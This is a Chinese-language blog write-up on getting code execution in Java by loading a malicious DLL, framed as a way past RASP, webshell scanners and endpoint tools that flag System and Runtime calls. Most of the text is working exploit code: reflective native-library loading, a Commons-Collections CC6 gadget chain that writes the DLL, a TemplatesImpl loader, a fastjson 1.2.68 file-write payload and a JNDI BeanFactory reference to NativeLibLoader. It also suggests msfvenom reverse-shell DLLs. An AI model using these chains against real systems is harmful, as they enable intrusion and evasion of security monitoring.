今天在复现JNDI高版本注入用NativeLibLoader绕过的时候,由于能力有限(没有MACos系统,当不了伸手党直接复刻操作,也不会二进制),造不出类似的dll文件,msfvenom生成的dll -b参数好像也完全不起作用
https://tttang.com/archive/1489/
但是考虑了一下有其他方式写入dll,然后有任意代码执行的场景,如果目标存在webshell查杀,RASP,终端安全防护软件等安全工具,容易检测到System和Runtime的调用。这种场景下加载动态链接库就很有利用场景
NativeLibLoader
我们先来看看最普通的利用System加载dll
public class LoadTest {
public static void main(String[] args) throws Exception{
System.load("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\src\\main\\java\\org\\exploit\\loadDLL\\calc_x64.dll");
}
}
load使用了Runtime load0去加载dll
进一步跟进load0,发现调用了ClassLoader.loadLibrary
loadLibrary中,如果绝对路径(第三个形参)为true,则直接调用loadLibrary0后返回
在loadLibrary0中,创建了NativeLibrary,调用load去加载
除了上面的用System去加载,浅蓝师傅给出的可以用com.sun.glass.utils.NativeLibLoader
去加载动态链接库
NativeLibLoader.loadLibrary如下
最后还是调用到了System.load
直接绕过System和Runtime去调用ClassLoader进行动态链接库加载
反射调用ClassLoader#loadLibrary
public class loadLibraryToDLL {
public static void main(String[] args) throws Exception{
try {
Class clazz = Class.forName("java.lang.ClassLoader");
Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
method.setAccessible(true);
method.invoke(null, clazz, "E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\src\\main\\java\\org\\exploit\\loadDLL\\calc_x64.dll", true);
}catch (Exception e){
e.printStackTrace();
}
}
}
反射调用NativeLibrary#load
NativeLibrary是ClassLoader的内部静态匿名类
反射获取构造方法再进行实例化调用load
public static void main(String[] args) throws Exception{
try {
String file = "E:\\\\CODE_COLLECT\\\\Idea_java_ProTest\\\\my-yso\\\\src\\\\main\\\\java\\\\org\\\\exploit\\\\loadDLL\\\\calc_x64.dll";
Class a = Class.forName("java.lang.ClassLoader$NativeLibrary");
Constructor con = a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class});
con.setAccessible(true);
Object obj = con.newInstance(Class.class,file,true);
Method method = obj.getClass().getDeclaredMethod("load", String.class, boolean.class);
method.setAccessible(true);
method.invoke(obj, file, false);
}catch (Exception e){
e.printStackTrace();
}
}
CC写文件搭配字节码加载dll
由于invoke不能调用getDeclaredMethod,所以CC InvokerTransformer写文件后用TemplatesImpl字节码加载dll
先写dll:
package org.exploit.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;
public class CC6writeFile {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
// 第一步:创建 FileOutputStream 对象
new ConstantTransformer(java.io.FileOutputStream.class),
new InvokerTransformer(
"getConstructor",
new Class[]{Class[].class},
new Object[]{new Class[]{String.class}}
),
new InvokerTransformer(
"newInstance",
new Class[]{Object[].class},
new Object[]{new Object[]{"CC6calc.dll"}}
),
// 第二步:调用 write 方法写入数据
new InvokerTransformer(
"write",
new Class[]{byte[].class},
new Object[]{readFile("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\src\\main\\java\\org\\exploit\\loadDLL\\calc_x64.dll")}
),
// 第三步:调用 close 方法关闭流
new InvokerTransformer(
"close",
new Class[]{},
new Object[]{}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("godown"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "test2");
map.remove("test1");
Class lazymapClass = lazyMap.getClass();
Field factory = lazymapClass.getDeclaredField("factory");
factory.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(factory, factory.getModifiers() & ~Modifier.FINAL);
factory.set(lazyMap, chainedTransformer);
serialize(hashMap);
unserialize("cc6.ser");
}
public static byte[] readFile(String filePath) throws IOException {
File file = new File(filePath);
long fileLength = file.length();
byte[] fileData = new byte[(int) fileLength]; // 根据文件大小创建字节数组
try (FileInputStream fis = new FileInputStream(file)) {
fis.read(fileData); // 读取文件内容
}
return fileData; // 返回字节数组
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}
再在字节码中加载
public class TemplatesImpl_loadDLL extends AbstractTranslet {
static{
try {
String file = "CC6calc.dll";
Class a = Class.forName("java.lang.ClassLoader$NativeLibrary");
Constructor con = a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class});
con.setAccessible(true);
Object obj = con.newInstance(Class.class,file,true);
Method method = obj.getClass().getDeclaredMethod("load", String.class, boolean.class);
method.setAccessible(true);
method.invoke(obj, file, false);
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public TemplatesImpl_loadDLL(){}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
写文件搭配JNDI加载
fastjson1.2.68存在写文件,可以写dll然后搭配JNDI高版本绕过进行注入
pom
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>
注意修改position为dll解码后的字节数
public class Fastjson_writeFile {
public static void main(String[] args) throws Exception {
String base64code = fileToBase64("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\src\\main\\java\\org\\exploit\\loadDLL\\calc_x64.dll");
String json = "{\n" +
"\"stream\": {\n" +
"\"@type\": \"java.lang.AutoCloseable\",\n" +
"\"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
"\"targetPath\": \"d:/calc_x64.dll\",\n" +
"\"tempPath\": \"e:/test.txt\"\n" +
"},\n" +
"\"writer\": {\n" +
"\"@type\": \"java.lang.AutoCloseable\",\n" +
"\"@type\": \"com.esotericsoftware.kryo.io.Output\",\n" +
"\"buffer\": \""+base64code+"\",\n" +//base64文件字符串
"\"outputStream\": {\n" +
"\"$ref\": \"$.stream\"\n" +
"},\n" +
"\"position\": 50176\n" +
"},\n" +
"\"close\": {\n" +
"\"@type\": \"java.lang.AutoCloseable\",\n" +
"\"@type\": \"com.sleepycat.bind.serial.SerialOutput\",\n" +
"\"out\": {\n" +
"\"$ref\": \"$.writer\"\n" +
"}\n" +
"}\n" +
"}";
JSON.parse(json);
}
public static String fileToBase64(String filePath) throws IOException {
byte[] fileData = Files.readAllBytes(Paths.get(filePath));
return Base64.getEncoder().encodeToString(fileData);
}
}
JNDI:
public class JNDI_loadDLL {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "../../../../../calc_x64"));
InitialContext context = new InitialContext(env);
context.bind("remoteImpl", ref);
}
}
JNDI绕过高版本加载dll:
可以考虑直接调用NativeLibrary#load,不过间接调用了System.load和Runtime.load0,似乎没有什么用
总之有写文件场景的都可以考虑一下写dll
也可以用msfvenom做反弹shell的dll或者so等进一步注入
至于dll的免杀就交给pwn手。不知道这种思路有没有利用价值(好像这种有文件落地更脑弹?),不过打CTF单纯被过滤Runtime、ProcessorBuiler等情况下还是可以考虑一下。一点自己学习的小99